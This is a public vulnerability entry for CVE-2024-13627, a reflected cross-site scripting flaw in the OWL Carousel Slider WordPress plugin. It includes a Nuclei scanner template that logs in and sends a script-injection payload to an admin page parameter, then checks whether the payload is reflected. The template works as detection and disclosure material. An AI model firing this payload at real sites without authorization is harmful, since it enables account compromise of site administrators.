CVE-2024-13627: OWL Carousel Slider - Cross-Site Scripting

2026-02-24 OWL Carousel Slider PoC Public

Description

OWL Carousel Slider WordPress plugin v2.2 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.

PoC

id: CVE-2024-13627

info:
  name: OWL Carousel Slider - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    OWL Carousel Slider WordPress plugin v2.2 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape parameters properly.
  reference:
    - https://wpscan.com/vulnerability/f7e425a1-ae49-4ea6-abe4-42ba2713af8f/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 4.7
    cve-id: CVE-2024-13627
    cwe-id: CWE-79
    epss-score: 0.00838
    epss-percentile: 0.56005
    cpe: cpe:2.3:a:wp-buy:owl_carousel_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-buy
    product: owl_carousel_slider
  tags: cve,cve2024,wp-scan,wp-plugin,wp-buy,owl-carousel-slider

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wpoc_edit&id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and
# digest: 4a0a004730450221008fee6e11359156c93c4f6dfbe5fcb3f597ac35badfc1a2cc03126eb53df22f4f02207cf2140f3e462dcddb6d69c519b81b1e8eccc52a22e81aaa85710a7d2e0912d4:922c64590222798bb761d5b6d8e72950

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